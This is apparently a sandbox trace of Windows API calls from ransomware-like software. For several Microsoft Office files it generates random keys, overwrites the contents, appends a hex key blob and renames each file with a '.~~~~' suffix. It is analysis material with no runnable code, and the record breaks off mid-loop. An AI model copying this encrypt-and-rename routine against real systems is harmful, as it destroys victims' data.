	[0132.035] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.036] GetLastError () returned 0x0
	[0132.036] GetLastError () returned 0x0
	[0132.036] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.036] GetLastError () returned 0x0
	[0132.036] GetLastError () returned 0x0
	[0132.041] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffd93, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.041] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x26d, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x26d, lpOverlapped=0x0) returned 1
	[0132.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0132.044] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.044] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.044] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.044] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.045] CloseHandle (hObject=0x140) returned 1
	[0132.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ab8
	[0132.045] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.~~~~")) returned 1
	[0132.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ab8 | out: hHeap=0x300000) returned 1
	[0132.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0132.047] GetLastError () returned 0x0
	[0132.048] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a13f0) returned 1
	[0132.049] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.049] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.050] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25203973577) returned 1
	[0132.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb82737d0, dwHighDateTime=0x1d60e1e)) 
	[0132.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0132.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd540
	[0132.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd540 | out: hHeap=0x300000) returned 1
	[0132.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0132.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb078
	[0132.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0132.050] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.051] GetLastError () returned 0x0
	[0132.051] GetLastError () returned 0x0
	[0132.051] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.051] GetLastError () returned 0x0
	[0132.051] GetLastError () returned 0x0
	[0132.057] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7880, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.057] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x18780, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x18780, lpOverlapped=0x0) returned 1
	[0132.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0132.060] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.060] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.060] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.060] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.060] CloseHandle (hObject=0x140) returned 1
	[0132.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e730
	[0132.061] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.~~~~")) returned 1
	[0132.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0132.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0132.063] GetLastError () returned 0x0
	[0132.063] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a12e0) returned 1
	[0132.064] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.065] CryptReleaseContext (hProv=0x3a12e0, dwFlags=0x0) returned 1
	[0132.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.065] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25205492728) returned 1
	[0132.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8299930, dwHighDateTime=0x1d60e1e)) 
	[0132.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0132.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd508
	[0132.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd508 | out: hHeap=0x300000) returned 1
	[0132.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0132.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb078
	[0132.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0132.066] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.066] GetLastError () returned 0x0
	[0132.066] GetLastError () returned 0x0
	[0132.066] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.066] GetLastError () returned 0x0
	[0132.066] GetLastError () returned 0x0
	[0132.137] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffce80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.137] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3180, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x3180, lpOverlapped=0x0) returned 1
	[0132.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0132.140] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.140] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.140] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.140] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.141] CloseHandle (hObject=0x140) returned 1
	[0132.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.141] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll.~~~~")) returned 1
	[0132.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1c08 | out: hHeap=0x300000) returned 1
	[0132.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0132.143] GetLastError () returned 0x0
	[0132.155] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a13f0) returned 1
	[0132.156] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.156] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.157] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25214672135) returned 1
	[0132.157] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb837e170, dwHighDateTime=0x1d60e1e)) 
	[0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x29a99c8
	[0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a99c8 | out: hHeap=0x300000) returned 1
	[0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38edc0
	[0132.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38edc0 | out: hHeap=0x300000) returned 1
	[0132.157] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.158] GetLastError () returned 0x0
	[0132.158] GetLastError () returned 0x0
	[0132.158] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.158] GetLastError () returned 0x0
	[0132.158] GetLastError () returned 0x0
	[0132.162] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffecd6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.162] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x132a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x132a, lpOverlapped=0x0) returned 1
	[0132.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.165] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.165] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.165] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.165] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.165] CloseHandle (hObject=0x140) returned 1
	[0132.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a08dd0
	[0132.166] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif.~~~~")) returned 1
	[0132.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a08dd0 | out: hHeap=0x300000) returned 1
	[0132.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0132.168] GetLastError () returned 0x0
	[0132.168] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a13f0) returned 1
	[0132.169] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0132.169] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0132.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.170] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25215972530) returned 1
	[0132.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb837e170, dwHighDateTime=0x1d60e1e)) 
	[0132.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0132.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823b10
	[0132.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823b10 | out: hHeap=0x300000) returned 1
	[0132.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38efb8
	[0132.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38efb8 | out: hHeap=0x300000) returned 1
	[0132.170] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.171] GetLastError () returned 0x0
	[0132.171] GetLastError () returned 0x0
	[0132.171] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.171] GetLastError () returned 0x0
	[0132.171] GetLastError () returned 0x0
	[0132.175] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffa970, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.175] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x5690, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x5690, lpOverlapped=0x0) returned 1
	[0132.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.177] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.177] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.177] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.177] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.177] CloseHandle (hObject=0x140) returned 1
	[0132.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x397e50
	[0132.178] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif.~~~~")) returned 1
	[0132.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x397e50 | out: hHeap=0x300000) returned 1
	[0132.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0132.179] GetLastError () returned 0x0
	[0132.180] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a13f0) returned 1
	[0132.181] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0132.181] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0132.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.181] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25217151065) returned 1
	[0132.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb83a42d0, dwHighDateTime=0x1d60e1e)) 
	[0132.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0132.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823b48
	[0132.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823b48 | out: hHeap=0x300000) returned 1
	[0132.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3991d0
